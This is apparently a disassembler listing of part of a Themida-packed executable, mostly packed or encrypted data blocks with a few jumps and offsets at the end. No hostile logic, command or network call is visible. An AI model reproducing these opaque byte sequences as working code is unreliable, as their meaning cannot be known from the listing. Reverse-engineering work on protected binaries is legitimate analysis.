dd 816C5CC0h, 6A80A6E6h, 0E72D660h, 923A2CBCh, 0BBD9403Dh
dd 8E9AF27Ch, 0BF4B200h, 403C5776h, 0DF1904BFh, 0B239C3AAh
dd 0BDA70024h, 0BC962F0Dh, 0BA740192h, 0C7610AD9h, 0B1B2D8EEh
dd 5C70D02Ch, 38FCFF40h, 911700BBh, 72376151h, 7CB4691Eh
dd 0D010F40h, 401896A0h, 0F6386215h, 6A5C9A00h, 0A0E608E2h
dd 0FAED023Ch, 21ACDF03h, 187C7066h, 8F69A00h, 2A0E2F5Ch
dd 49E829D1h, 37F780B0h, 53BA7540h, 7002A700h, 0E42A9E57h
dd 3C7136h, 0A96D5BFDh, 0EF7F48Fh, 0EC90A826h, 83203664h
dd 84E8E0E9h, 0A89C0C02h, 80D92BF0h, 0F45726ECh, 0A9A309FBh
dd 0A07167B1h, 9A7F3400h, 2C48B16h, 0ADE3DF56h, 5C661CAAh
dd 0F300CBF8h, 0ABCD172h, 3A4FDBD3h, 0C0797AAFh, 49F055C1h
dd 5900A032h, 391A53F5h, 3C65CB88h, 0BE01BC37h, 9C54F6EDh
dd 47C4301Ch, 0A5F96804h, 26C0E896h, 0E459F4BFh, 0B71784Eh
dd 7EDE5CF1h, 0C2509007h, 7CD10C1Ch, 2EE12707h, 9D4D8CE0h
dd 0A71A2CBBh, 17E826D0h, 8AE817FDh, 1AE40004h, 7C179AE6h
dd 2588008Eh, 0A2D15536h, 4709CCC2h, 84F26A0Eh, 0A4BCBDF0h
dd 98D09060h, 0CF0190E7h, 8E9E3673h, 0CC321426h, 71D63209h
dd 390E9DD4h, 882DCA0Dh, 0E3826942h, 0BF7DD062h, 0D41D0A98h
dd 10DC1Eh, 8A2103FEh, 0F648FB28h, 7F65C3FCh, 0B3B1D049h
dd 0A4820F6Bh, 24D7C524h, 0C978E834h, 67005D86h, 1364A2E9h
dd 40C0E25Bh, 4B26A4FBh, 7A188810h, 57596A03h, 8F6F4B20h
dd 2093EFF2h, 1445EB39h, 62342705h, 0ACC87336h, 4997003Bh
dd 0EFD9109Bh, 0EC00CF9Eh, 0C51F9855h, 0A608386Ah, 74F700B0h
dd 5EB46387h, 5400518Fh, 0BB9C10A4h, 167AE25h, 0B22B0592h
dd 201D63F7h, 472E2350h, 0BF0E283Dh, 0A618EA8h, 0CF00A887h
dd 95F70CDBh, 0A72E25DFh, 361BA400h, 0D4828E2h, 10CD8B04h
dd 0BAED454h, 9EE775ADh, 0C8E6ECA2h, 8C2EC858h, 1D00F23Ah
dd 2E965763h, 4790FCDh, 28A59214h, 2FE82012h, 0E00D6C7h
dd 67D2943Fh, 2C271D95h, 12748879h, 7540E26Eh, 0BEC3CA0Fh
dd 0E77280A7h, 16CC5Ch, 0C64C64CFh, 5826AA7Fh, 0C459AE62h
dd 800C54BCh, 723F8407h, 0B10F8D26h, 29FC784Bh, 5C64CBh
dd 8B518A01h, 0B1668569h, 8302CC77h, 0CB3FF4E1h, 0B0DC4688h
dd 96F8CEh, 9D481D24h, 6DABD1FFh, 75BD3D0Ah, 1F0B9CA6h
dd 6F220079h, 582C6E57h, 0F072E047h, 7D76007Ch, 33489956h
dd 5899FD26h, 4F188780h, 754061A9h, 969202ECh, 55DA41EBh
dd 5E581F20h, 0BEA9823h, 0D8B5614h, 74C408h, 0C0984D4h
dd 58057406h, 4C6D9EF5h, 3DB3F4B4h, 0A5A7CDE3h, 6316BC07h
dd 9AE18710h, 0C6A64223h, 5240C856h, 439ED6h, 5710E540h
dd 0D4023DA1h, 2705FE00h, 264D58CCh, 82ECBC5Bh, 891CB3F5h
dd 0BA00BCF1h, 75152AB4h, 0AEF60499h, 843764DFh, 5E8B3ACh
dd 146ED86h, 921EECA0h, 96A0418h, 0A48E9F53h, 0B200C1ECh
dd 2F6F3CC6h, 1CE72D0h, 0FFB589C5h, 341E9E16h, 0EC743B44h
dd 8C225928h, 603A6145h, 0C473D3ECh, 190D1D3Eh, 0CD19CA36h
dd 4C20402Eh, 0F296023Fh, 0C1498603h, 0A0ED25BCh, 0FADA9B03h
dd 58AE901Fh, 854E801Dh, 56D0811Ch, 0EC612FB4h, 1C33C1B2h
dd 822A4400h, 5FEEFE83h, 0F8959900h, 0E63E1677h, 0DEF2008Eh
dd 0F47D6D0Bh, 0C13D2D03h, 64C8CAC5h, 2224276Bh, 710AF061h
dd 0F01E3AEBh, 8437A740h, 0F04398h, 0B187DE3Bh, 0DA01473h
dd 0E4434E4Ah, 82598C11h, 3CB480A3h, 13CC95F4h, 0A5626C0Eh
dd 92B46C3Ch, 52070A0Eh, 0E4E05018h, 0BC952E69h, 0AAE66030h
dd 4487B23h, 13A300CCh, 540B4E66h, 0FCA40B3Fh, 7C04C09Fh
dd 0FFE8E473h, 90C36E03h, 0A8AB5BFEh, 0F6B272h, 5839ECD1h
dd 0EBA97710h, 0AC2D692Ch, 52A69760h, 128B14B3h, 8F2EB6B5h
dd 4ED0405Ch, 0F3004DE6h, 129E09B1h, 1548930h, 0A31B0638h
dd 3DED4459h, 5CA40070h, 0C1FC3A8Dh, 61210218h, 0EF28FD49h
dd 0E58268D9h, 0D2BBC51Ch, 1084C0h, 0A6F7AAF3h, 6D634C58h
dd 9CCC534Fh, 85C51084h, 0EE330C5Dh, 46679C2h, 0FE4840C8h
dd 250FAAAAh, 3C444434h, 39753FC0h, 18009D24h, 69414A6Dh
dd 59C04B70h, 599AB904h, 6127002Ah, 5097A490h, 22E70D34h
dd 0C0A85800h, 0F65975D4h, 0C260007Eh, 1016F84Ch, 0AA3BCD13h
dd 0D0C84A1Fh, 9C771EB3h, 0D1100080h, 0F46EF815h, 0A70054B8h
dd 46909466h, 280D549Bh, 2E64D9A9h, 1F1A4C95h, 90A51668h
dd 0E26458D4h, 0E9204D03h, 0E85CE3B4h, 901627A1h, 3BE60134h
dd 0A3FDA9F6h, 3023F7h, 0BD82EA8Ch, 131FA726h, 4A6DC503h
dd 0C0B817FCh, 0EF6A7FEh, 74385754h, 72366C0Fh, 279880F0h
dd 9EDB4F7h, 0C7332D07h, 4ED4C480h, 0C305199Ch, 0DB6AD680h
dd 0A98E830h, 0D05F1C5Ch, 8CA60112h, 60560CBEh, 9F120BE1h
dd 94F4606Dh, 0B9FB340Eh, 0E210C438h, 95530168h, 9B544D1Bh
dd 620F4823h, 0F0E00975h, 2B1964F1h, 7B637407h, 0B08A82C5h
dd 0FD4CF63Bh, 29510050h, 37D0DB56h, 0C8BA583Ch, 0C8443817h
dd 5200D82Ch, 0A22C1CDEh, 298577Eh, 6A553C88h, 0C872DB5Dh
dd 2FC6F50Eh, 1DD8FB5h, 0CF062518h, 265298C7h, 9CE200A4h
dd 11700CF6h, 0F448536Eh, 0AE82804Ch, 267E13h, 0C7165EA8h
dd 8D84359Dh, 62776D00h, 136AE40Ch, 0A0939D05h, 83F403C4h
dd 0ADA8C02Dh, 635001AAh, 87BBF93h, 5524FCA5h, 7E9778C1h
dd 0FA8B1DB3h, 0ECA02977h, 74A06128h, 0B910E8h, 577780B8h
dd 0AA0FFF79h, 5AEBE4AFh, 0BC442036h, 0A932815Eh, 0D63CC81Dh
dd 0D468204h, 0B07A4C6Ch, 7F19B0B4h, 2C392E08h, 0D4E8CD25h
dd 4F052F1Bh, 501DA0B8h, 5546D480h, 1C3C5CA1h, 0F304E222h
dd 0CE1AC579h, 0B48CC8h, 1719FD7Eh, 0FE1DFA2Ah, 4CE8BB50h
dd 1E0D0E18h, 9135F2F8h, 0B8A68070h, 2809DCB0h, 8499E264h
dd 2F93A882h, 0C09E2100h, 0E11F737h, 66139056h, 9280302Fh
dd 0B301CD98h, 245634ECh, 203BA097h, 0EBA6C18h, 84EBE400h
dd 5DBBF0F1h, 0A52C4C54h, 90C88F27h, 52133847h, 0CC1450E5h
dd 0E45B248Ch, 46A88500h, 1E5726C8h, 1AC5059Dh, 0FC5CC15Fh
dd 0C25AC04Fh, 0CECBAh, 0E41C67C8h, 6A03E255h, 809D9A79h
dd 1D5A1689h, 0B75702DEh, 0B37590C7h, 0DBE154A0h, 1000719Bh
dd 14FAD2A6h, 2C4A0A82h, 5441398h, 888FB662h, 360244D0h
dd 2749F3C5h, 1D0E4EEh, 0FE63A52Eh, 0F0B0241Fh, 950921A9h
dd 827A36C9h, 59AE749Fh, 89013F8Ch, 0BF055A9Ch, 5DA441F6h
dd 73804094h, 7770CF04h, 5C406AE7h, 799821ACh, 342A00F9h
dd 0B8D6075Eh, 2EFDCD37h, 86E32400h, 0A44F0ED3h, 2B086D4h
dd 9330C448h, 879AA2Bh, 7035D400h, 1297DFh, 0ECB49DB8h
dd 6380FCA5h, 0DA8020EBh, 9DB3C488h, 0C124C11h, 378D015Eh
dd 0CB06BE64h, 44006B10h, 4D2B4CF5h, 50E458B5h, 0DBF8B622h
dd 0A180E89Eh, 10D7897h, 0B26B4CAEh, 0D9F27D02h, 34D11E45h
dd 0E1053F0Fh, 37632003h
dd 25D891F2h, 7678E270h, 810B0011h, 0E32451DDh, 0B098A48Fh
dd 70814C4Eh, 28324539h, 4623800h, 7ACE9C9Bh, 0E2F6A300h
dd 91D47CA8h, 0D9CB01CCh, 0C644DB63h, 5D3442CFh, 25CDF960h
dd 8CED800h, 13ED7FB8h, 807B5BE4h, 29F4EBACh, 585D2D0Fh
dd 53F5608Ch, 9628E3C6h, 0A484C0B4h, 2195DC1Eh, 7B5E07F0h
dd 0A70BE4h, 5F18AD32h, 0BDD8BACEh, 0F248C57Eh, 0C3D00AE0h
dd 0B5834878h, 908EEDEEh, 0F51C40Fh, 0E7C0981Ah, 7411DFC0h
dd 83974D0Ah, 0C88D5AA4h, 608F64F8h, 71289AEh, 0AC00A0CAh
dd 57D6D432h, 0BB6FC7Ah, 3629F978h, 0C0AC7CD9h, 0BA395902h
dd 0D608C0B2h, 145F08Dh, 0DD2838B9h, 21A76315h, 0DA92C858h
dd 0B378109Dh, 0AC6D0069h, 830CF5F8h, 0AB1E50D9h, 46EF101Ah
dd 38D89868h, 32139F69h, 7F64F24Fh, 163CC200h, 1CB74213h
dd 859A00CAh, 0E0CED943h, 0F2046D2Ah, 0C40D2889h, 4E3C115Fh
dd 8FD29CC0h, 147B0027h, 8EE497B4h, 10130A1Bh, 8022DA67h
dd 0C19CE0C8h, 456D2656h, 814B40D0h, 9700BB1Fh, 51895779h
dd 0BAD61842h, 207E4BA0h, 0ACF5D374h, 48701401h, 0ED59160Dh
dd 0C7CACC70h, 21505721h, 2046E23Dh, 704CC414h, 0DBA18120h
dd 68965CDFh, 6C5CA09Eh, 0B3C54012h, 86EA08C8h, 8B5D633Ch
dd 871E606h, 0A704BC30h, 2DC31F0Ah, 466B879h, 5CECB059h
dd 0CBC0A4BFh, 0BEB8413Eh, 2B9CD007h, 9AB4BDA4h, 7280A0ECh
dd 1E2C98A8h, 84FB1700h, 1B3FF4FFh, 455CB010h, 3D5C4CB1h
dd 0AD0DE0F9h, 47556801h, 0BED959F9h, 0E88310F1h, 0B55667D2h
dd 0C06C3958h, 0AF2B4EFFh, 407E002Ch, 55EB9EDEh, 21C4D30Dh
dd 0FC8C16D7h, 2C06001Eh, 11A099C0h, 72173C84h, 4B64C6Dh
dd 0BFCE11h, 9FD2EEBBh, 0C31235h, 0A8F549C7h, 1DC10765h
dd 14409097h, 7DC80060h, 3C47182Eh, 2758A664h, 0A3020294h
dd 5E68CFEFh, 967E40DCh, 9A047F2Ch, 0CB715124h, 6548E640h
dd 0B2582A9Ch, 7D970066h, 3EB88536h, 58010076h, 0CF7E71C2h
dd 0A001E279h, 850E4A6Ah, 10809EDAh, 13064BECh, 96794930h
dd 7BB9EB0Fh, 4CECF411h, 29F2048Eh, 98CC8979h, 1C67C8Dh
dd 0F902E650h, 0C8D13B76h, 50B036D6h, 69474808h, 8AA461h
dd 3859BF76h, 0F30B7E6Dh, 0D023EB2Bh, 670D0520h, 888E0C52h
dd 1D04A710h, 3EE7DCBCh, 53F7E0C0h, 82360075h, 277E76ECh
dd 0DB7C15D4h, 0A42D24B8h, 31E460FBh, 17261934h, 207249D6h
dd 592F47C0h, 11780ED5h, 0E09F7116h, 0F4A19C04h, 0C1C31027h
dd 7FB7CFAh, 20FCA8Bh, 5A6B506Dh, 5807928Ch, 0CD5BE25Ch
dd 0D9169ED2h, 0E07700E4h, 76273735h, 9628C800h, 0B2D88D55h
dd 7E953B38h, 6F589000h, 0F282A169h, 6D9C5409h, 681653h
dd 363FCB70h, 1C593773h, 288FFD02h, 6011B327h, 1C5BFAC4h
dd 6CD085h, 0C0A90EAEh, 820EEBD6h, 84FB2519h, 54802BB9h
dd 0EE758A8Eh, 3AA50091h, 111D4E88h, 0E8001BC3h, 4D666BD5h
dd 6DC872h, 3674C6E9h, 928DE65Ch, 7A551B18h, 3F01EB48h
dd 7F6F7AAh, 8D7D4CCEh, 478B405Ah, 78C02281h, 6BF5FBB9h
dd 0C1960359h, 0E4253918h, 5B0D8900h, 20C358A0h, 74050084h
dd 0D6F777D1h, 376055D2h, 92724941h, 1103607Dh, 0E804F7C6h
dd 757A3Fh, 0AC65AF18h, 3A934235h, 0A13E1E76h, 7CC02B01h
dd 0D0DBF62Eh, 12065E8Dh, 2C679F8Bh, 33630048h, 0E8CF84A4h
dd 3103269Ch, 5925D2B6h, 6A65A0BCh, 1A82004Dh, 0BD84DA1Fh
dd 7A0F76CFh, 36B53Dh, 0A9CA1ED8h, 51C9619Ah, 0C05A24ABh
dd 920034B2h, 8B0C96ADh, 0A121262Fh, 2DD07EFEh, 5F130E67h
dd 395853D6h, 6A05DA04h, 0E32538ADh, 3D368C40h, 0ABB3AE9h
dd 3966F51h, 9D7E40B8h, 12036324h, 99A5B164h, 0B49009Fh
dd 0F7C5CD54h, 910C71AAh, 51D88367h, 0EB10C072h, 42C67E29h
dd 184835F0h, 744C008h, 0E23C7343h, 308EE3Ah, 0AE6A37CDh
dd 84887D61h, 1800E0BAh, 2B6FD3A8h, 0CF42694h, 999F89C3h
dd 813E2781h, 0D58A87F5h, 0CCFA396Ah, 0BD6FD200h, 504406Bh
dd 80B88BCAh, 8CE4471Bh, 0CEEE3058h, 8400EAABh, 471DDDE7h
dd 1777B62h, 3DDAF556h, 48045F50h, 5B00F780h, 4A8555C7h
dd 621D160h, 0D31B7D18h, 0B9018903h, 80DF934Ch, 20805C2Dh
dd 38FA08ACh, 0F1C0DD24h, 0E3CE700Dh, 39E775B0h, 122EC515h
dd 9CF90C1Bh, 0AD0AFB49h, 0CC528508h, 47327160h, 6FD70E6Bh
dd 0A7207C20h, 9943C88Eh, 2D398360h, 1B30C80h, 16FAF05Ah
dd 0D9D732B1h, 87218064h, 0BCB4954h, 75020EC7h, 0C35FB2AFh
dd 0FCD5BC1Fh, 0F0F02996h, 1CD18A12h, 9DAB8420h, 24391863h
dd 0DEDD91FCh, 6C539B00h, 9894C8F7h, 3EA10061h, 0E9BED5A9h
dd 283C7F5Ah, 0E0993E4Bh, 479F5259h, 0AB7113FEh, 9BD006Ch
dd 2510DF7Eh, 4D0090A4h, 0C6233C4Eh, 12ADFAD8h, 3145EE0Dh
dd 60DB90DCh, 0B7019F62h, 8DA0E90Bh, 0B704296h, 6AF41F85h
dd 0B4790EE6h, 599437A0h, 76000ED8h, 7D21A56Bh, 0F847F8B3h
dd 0EACB002Fh, 1B3265ADh, 7CE09073h, 687D1C01h, 90475AEh
dd 864FFC50h, 6A0A3F48h, 0D5A83B80h, 0CEAEF0F3h, 737DFC7Dh
dd 31F4D8A1h, 4588923Eh, 43DCA201h, 0A0502681h, 0BE0304h
dd 0A6B0EA6Eh, 30EEDBF5h, 94236300h, 0F2F4A3A2h, 0ABF0C221h
dd 94406BE0h, 4B383590h, 19896103h, 0BAF83FC5h, 8FCE042Ah
dd 8824BFDDh, 0B100FC10h, 6A233DCCh, 128AB0A1h, 84A1147h
dd 689F992Ch, 0E131EA1Bh, 58A8B87Eh, 6C940238h, 0D9AC633Fh
dd 0E0356B20h, 11F06024h, 4D28A912h, 0A849FE30h, 71D3F4F3h
dd 9D0124D5h, 6FCFC25Ch, 50968481h, 308430E2h, 0E58E748h
dd 4408028Dh, 0D8C05197h, 0C0F22490h, 431FCD61h, 33F1A6Ch
dd 0DED41E72h, 1DCA4C02h, 80886394h, 14ACAF5Dh, 64AE6322h
dd 200E041Dh, 4CBA1603h, 0F0FFFED6h, 284B02EDh, 48471A2h
dd 8118ABACh, 0C1B9031Ch, 9DB4D0E5h, 7423005Ch, 0BEE130A0h
dd 15030578h, 0CEA2429Eh, 0AAC8016Eh, 8DD63647h, 39E980D7h
dd 79F8DAE1h, 0A86A0B25h, 5C00D435h, 7B04735Ah, 8BCB91C6h
dd 2EA20464h, 889F7444h, 0B1709E84h, 6B859101h, 3753D310h
dd 225606FCh, 0C300F025h, 5188470Ch, 0C0E677D3h, 6AC05E60h
dd 4209A792h, 1BECE86h, 0D4E57D14h, 5AC3B440h, 0ECD15404h
dd 818F0025h, 0D3F53484h, 5500F40Bh, 4C6FE2F7h, 0C07D0431h
dd 9AE5E7A9h, 5502BEC8h, 2DE941C7h, 6D24A04Fh, 3B7E39h
dd 65C4577h, 0EFB76371h, 0CC26A9DFh, 173EE0Bh, 8DD5F358h
dd 0AF062C23h, 0F9CB989Ch, 0AD1CC4F6h, 2280842Fh, 4BA0E175h
dd 502B8E8h, 820FB6E5h, 0BFA02003h, 0ECE19312h, 0E507DCDFh
dd 0F8AD1820h, 9AAB4D30h, 7B17547h, 786F1A8Bh, 801F8477h
dd 42234348h, 0DFFE8500h, 0C5D72CACh, 0FB100AEh, 3C2FB870h
dd 0D56025FCh, 622758C1h, 0C4A700AAh, 119904CCh, 6A747E2Ah
dd 63CE5900h, 6B753625h, 12B00391h, 1B13203Ch, 0A90226E3h
dd 52930CB2h, 0E076C01Ah, 2C589021h, 47B4A6D6h, 10A33068h
dd 0A2179363h, 2820800Fh, 36FE381h, 9D270E8Ch, 19002F7Eh
dd 0C0D12BC6h, 451B171h, 8899F59Bh, 5810C00Eh, 8A759864h
dd 0A4336B24h, 9C015B1Fh, 83256F3Eh, 0FC3444FAh, 2881F87Fh
dd 0CA69D70h, 8759772Eh, 1D76AA88h, 311BDF0Fh, 6ACAA73Ch
dd 0DC889AC5h, 0FAC60071h, 6D12987Fh, 0D32EA995h, 0AC43ACE7h
dd 0C9A2E0F5h, 0C70E218Dh
dd 7BB39480h, 2DB1DE5h, 234CF548h, 2C809B63h, 9A67D4C9h
dd 0D611F162h, 27CCCFAh, 4C1EB8AAh, 800F7804h, 3CF737D2h
dd 48B47BE5h, 6000733Ah, 0CE116297h, 6C283BCDh, 5E48844Dh
dd 4C785888h, 0E60280F4h, 0FA1CCE31h, 1D5B00E2h, 0C68EA3Ch
dd 621AC2B5h, 4089EE84h, 1C4FD6FCh, 26D3CDh, 817648A2h
dd 7F306F2Ah, 62435104h, 0EEDA06E3h, 701DACA0h, 7EFACD00h
dd 0C558B8E4h, 81F00096h, 0B343D621h, 1B48E1AFh, 2498F4Ch
dd 9856D19Dh, 5E7F2A4h, 0D42F3321h, 0FD0C4220h, 4BE0E646h
dd 90A8A09Ah, 0E30072C2h, 7523C2Dh, 56701Ch, 0BC59224Ch
dd 58ED0D02h, 390FAD1Eh, 359672C0h, 0F415477Fh, 8E6C005Eh
dd 0B7E07CFDh, 0CF883080h, 0FDA6724Eh, 0FBBB1281h, 30564D77h
dd 502E77Ch, 2B356A82h, 0E0D46425h, 0ACFC0023h, 5F0D81A3h
dd 0EE1815F9h, 9D21D625h, 0C08D0088h, 9EA858C2h, 37021DADh
dd 0C523601Fh, 70FC9125h, 0F61A5FCh, 63E8BF1Eh, 0D503E600h
dd 1F58243Ah, 3E41031Ch, 9921D359h, 0A3DCB1F6h, 4DAF805Ah
dd 34FF0426h, 0C3541780h, 3ABF189h, 8D429869h, 8007CDEh
dd 72B7D6ADh, 0B059F9h, 3B6B74A3h, 9A2B7904h, 0D5009CB9h
dd 3EE9C1F6h, 2C11F8C5h, 80CEE5h, 2AA30224h, 98A80580h
dd 300F3E3h, 689BC939h, 60047836h, 918C89D2h, 4800D710h
dd 0DB796FB5h, 3B44622Eh, 4F0160B2h, 9CBB5923h, 0D69930AAh
dd 24AB6B0Ah, 358E8868h, 2E84A062h, 1CF1507h, 22765027h
dd 83869861h, 80C61BA9h, 6CF9C8D5h, 0B7B2008Dh, 0AAF040C4h
dd 0B6036D4Dh, 1020D2AFh, 0E6D580ADh, 9A3226D1h, 1FC342C0h
dd 0BBE9A160h, 932E3900h, 6B9545BCh, 25460E2Ch, 98C0B19Bh
dd 0C532DC9Ah, 645C0F24h, 44608B17h, 18F1620h, 28E58668h
dd 2093F385h, 0E3AE784h, 290D341Bh, 13B6D4C2h, 0D478F024h
dd 8495A701h, 18651C0Ah, 8A29444h, 951E0D00h, 7C8A137Fh
dd 0AFDCC900h, 828E2E0Eh, 0D5DE14DBh, 7E2E6802h, 0AE8444B0h
dd 5AEE580h, 5E2B00C7h, 1159FF9Bh, 0D8004C34h, 10688B88h
dd 12AFC1B5h, 2003E807h, 0A0D4F920h, 10FDDF00h, 217B8724h
dd 906C0049h, 0E0F1634Bh, 0A60694FAh, 0A5A96837h, 770330A9h
dd 0CE6A8CE9h, 63D0478h, 7E1EF91Ah, 0D18075FFh, 81870E7Bh
dd 0A06B03F1h, 29912F52h, 2C5973D2h, 0FFAB7D00h, 658ACCAh
dd 2748863Ch, 9F0093BAh, 0DB591A8Eh, 4C67D23Dh, 50C49CA1h
dd 7354409Dh, 91F7BF02h, 0FCFE80C4h, 8BB17755h, 5EE6503h
dd 9972BE07h, 0D833973Dh, 91319300h, 0BD0DC530h, 0F0F59812h
dd 0BC338C20h, 324D0765h, 0BF9F92AAh, 55D18D83h, 7CB9212Eh
dd 6F1B2882h, 6EC2875h, 118603EDh, 9426DD01h, 4A306F47h
dd 724D34F8h, 0B8DA01A7h, 0D43DBDB5h, 6299D405h, 0B0C059DDh
dd 38C62576h, 9A770056h, 79EA075Fh, 0FE00F9ADh, 493A5DC4h
dd 1D68C6Eh, 0CE1BBDCBh, 72AF6797h, 4134504Ch, 13C648h
dd 83EA9569h, 4EAA28B4h, 0BB5C419Ah, 0DCE2F51Fh, 8F1D71FAh
dd 3B0A5E0Dh, 0D460A419h, 1735C27Dh, 8C4FFEh, 5A6B215h
dd 84EDECDh, 0D4366800h, 0DE9E9F8Ah, 0A2BA8059h, 0C39BE4F3h
dd 0FD30F900h, 0ADAE8D8Bh, 0AC660A0Bh, 494F20Ah, 889AA9F6h
dd 8C0089F0h, 76B7D7BAh, 1E5771A5h, 0C10BB9DFh, 5FB53EDDh
dd 0C416714Ch, 0DC30B0ACh, 9255F918h, 6B5D0B7Eh, 30048C5Fh
dd 0FCAB4037h, 90E703D3h, 429439B4h, 3836AD19h, 1B0C383h
dd 98B8D65Fh, 0E8F886FEh, 2F02C0B9h, 0E8C94960h, 7BA9D35Ch
dd 20940C67h, 0F9611A81h, 6187EE04h, 40803384h, 13CF52ABh
dd 0C8557FB3h, 0EEEEDB78h, 19009D79h, 1D22420Eh, 0FC7383A2h
dd 3C215CA7h, 0D618DD22h, 0B539D954h, 6CB124ACh, 678A05C0h
dd 0D263C0C9h, 8F3BA3F5h, 0DE24980Fh, 5A0FB39h, 6703DD02h
dd 3ACC0D6Fh, 0B0A9D06Ch, 0BE861B18h, 96F108C0h, 0BFE98088h
dd 0AEEEB331h, 36431007h, 81959FDFh, 3E58C4C8h, 0A29FA3E6h
dd 64448338h, 0B02269C6h, 0AC98DCh, 21098B85h, 0F295AD12h
dd 2479913Bh, 0BA40689Ah, 7E5AE4h, 5E503898h, 52CB8D2Fh
dd 696025FEh, 36A86B49h, 90A60038h, 0AC3F50BDh, 4F0079EFh
dd 0F23C44D7h, 0D637B4h, 95AE7E7Ah, 6B1BD207h, 25B1C8F3h
dd 0B1606845h, 0AE9B1DE5h, 2AED0041h, 0CC6F6396h, 0CA0E44B8h
dd 80578271h, 70868102h, 0A8014CD6h, 82241B0h, 0C7001AE8h
dd 0E1515CDCh, 7C544C04h, 2CA0E03Fh, 608C4AFDh, 0A4C1B420h
dd 0D3074C01h, 9771D090h, 1ED41070h, 80BC55ACh, 0D676C7EDh
dd 71C0CFA6h, 0B93B7F19h, 27224B49h, 0F3DA60E4h, 0A0011DDh
dd 3AFCF1E4h, 47B134h, 20DAFFAh, 0FBD5A28Ch, 78811C94h
dd 0BD5680EAh, 4D1DD82Ch, 0C5A5002Fh, 0FB2820C9h, 5003AD24h
dd 4FA3013Ah, 1C382459h, 95D9DAD1h, 72CA2AF9h, 0FE0A00F8h
dd 8AE0F7DEh, 3302B1D3h, 30ED6CB5h, 0D838437Fh, 0E8E9318h
dd 824D3920h, 0ED500092h, 15C655CCh, 0A4EFC93Ah, 0D120F88Ch
dd 0D9B8FE35h, 2EABA400h, 300BC9B2h, 35B03913h, 0D60A4773h
dd 0C42BB7F5h, 0F2002991h, 9505FA2Fh, 0F89999D3h, 69708C00h
dd 6E6733h, 30714B7Bh, 5F62360Ah, 0E49048D3h, 1C9506Bh
dd 9ADFAF2h, 205D5285h, 4A189618h, 8B99D404h, 3FB700BFh
dd 0E9B085C6h, 0D11EA791h, 502469C8h, 664E6Fh, 9F1CAECAh
dd 7B33005Eh, 13719A61h, 0BC090E21h, 0C44C1874h, 93870080h
dd 7DE41475h, 0A7097C9Dh, 2FF3A8Fh, 11DCB6F8h, 367C40A6h
dd 6800DD88h, 5658EAB8h, 1CAD765Ch, 947EFA0Fh, 281DE406h
dd 186066BBh, 5394D890h, 0B695D700h, 0D64EC2F4h, 0BC2CF17Eh
dd 44989889h, 8C076385h, 31246B6Ch, 0BA763C70h, 961D05B2h
dd 3889FECh, 89B62D1Ch, 2BA7CDB8h, 8A4B4F00h, 49D4CB19h
dd 7C6F0031h, 0AE9AB494h, 482E7EBBh, 8A416024h, 9260EF35h
dd 0F1E51CD0h, 4688051h, 0A1866FAEh, 900252h, 0F677B209h
dd 0B1B72126h, 0DFFE8398h, 0D8E88BD9h, 0E002068h, 30586A7Ah
dd 0E9D4BA84h, 2341E8C3h, 58B27D10h, 6F190420h, 0D9D34180h
dd 663860F2h, 986C4D00h, 0CFCD781Eh, 2C1D497Dh, 64E1ED00h
dd 0B807CB4Bh, 80C9213Dh, 0F5D3D4Fh, 0D33625h, 0C435E3A1h
dd 0B0696E5Bh, 94E1416Ah, 71340D60h, 21BE0072h, 12EBD37h
dd 0F87BD50Bh, 0AFE78701h, 94CEEAF9h, 0B050DB30h, 0D5CA0878h
dd 0FB809C53h, 679D837Fh, 2B99C0B8h, 89DC2FD7h, 7DDD090Ch
dd 1E1928h, 0B5A9ED7Ch, 25E46E02h, 62FFFB00h, 169513F2h
dd 0D2480033h, 8D7D12A7h, 8DE4A23h, 7F2C90ADh, 0B8909Ch
dd 0A70D4E5h, 7E652330h, 8D100E00h, 6EC5CE56h, 977604A4h
dd 0F4034CA0h, 0D026BB90h, 7F143E54h, 0B55E0048h, 0B0234F41h
dd 0BD8C00ADh, 8D438ED1h, 402177Bh, 1D975947h, 0B427415Eh
dd 28B824E0h, 9C90C038h, 0AFFB800Ch, 337DA79Dh, 0C2CC9616h
dd 0B84B888h, 60165936h, 0D400A064h, 554DAE2Eh, 38F6305h
dd 0CAE21052h, 0A78AD5F3h, 682D1472h, 84E428A9h, 5A1B9904h
dd 80DE1089h, 549E7614h, 0A6D5003Bh, 9196A794h, 8B82016h
dd 0A9AD6C05h, 0A8007CE1h, 8C01BEAEh, 0F074FF30h, 0B8D32002h
dd 0D00D09Ch, 3EEC408Dh, 0FD080280h, 84024551h, 0D20EFCD0h
dd 4EC74A5Fh, 37F2D6h, 80BECB30h, 4AB18822h, 0C6E13E0Bh
dd 0D45807C1h, 60F9B7E2h, 0FEA08CE0h, 0CFCC046Bh, 0C1A78FB9h
dd 21D19714h, 6505F8A3h
dd 0AA431F13h, 84B00C02h, 0AB146149h, 0D12030h, 0B6EBF9EEh
dd 752358F5h, 66562913h, 0F481811h, 2809E195h, 3ADA8027h
dd 5B0B20Ah, 360454C7h, 490FC0A0h, 201F46Ah, 7FFA87E5h
dd 0B046DF6Bh, 5438034Fh, 79520219h, 49AD95F3h, 0D4A0B8D9h
dd 65748E7Bh, 60F9E61Ch, 7CC54800h, 2476A842h, 4E04F0D4h
dd 0FA1C5584h, 2610BD87h, 27837D92h, 308297B7h, 0DCF9DB6Fh
dd 0DEBAC307h, 5B41BFB0h, 9E9F22B2h, 6936901h, 881ED886h
dd 526675F4h, 0FFFF01CCh, 60FBh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_579A2F: ; CODE XREF: Themida_:loc_513265j
; DATA XREF: Themida_:loc_513086o
jmp loc_57CF4C
; ---------------------------------------------------------------------------
align 8
dd 98h, 5 dup(0)
dd 2F2AB6C1h, 3 dup(0)
dd 400000h, 0Bh dup(0)
dd 1D3FFB0h, 1Bh dup(0)
dd offset loc_5C93A4
align 10h
dd offset loc_5C5106
dd 2 dup(0)
dd 12D392h, 3 dup(0)
dd 0CEh, 7C90EBBFh, 0
dd offset dword_5A463C
align 10h
dd 7C90EB94h, 9 dup(0)
dd 2 dup(22222222h), 7 dup(0)
dd 8Bh, 2 dup(0)
db 90h
db 12h, 0F2h, 76h
dd 6 dup(0)
dd offset loc_5B4769
dd 0
; ---------------------------------------------------------------------------
xchg eax, esp
jmp short near ptr dword_579C34
; ---------------------------------------------------------------------------
db 44h
dd 8Bh, 0Ah dup(0)
dd 665DB524h, 0
dd 2AE38E7Bh, 0Ch dup(0)
dd 400000h, 7C254779h, 0
dword_579C34 dd 3 dup(0) dd 0E2F7h, 7C90EB94h, 0E35189D4h, 2 dup(0)
dd offset word_5C631E
dd 2 dup(0)
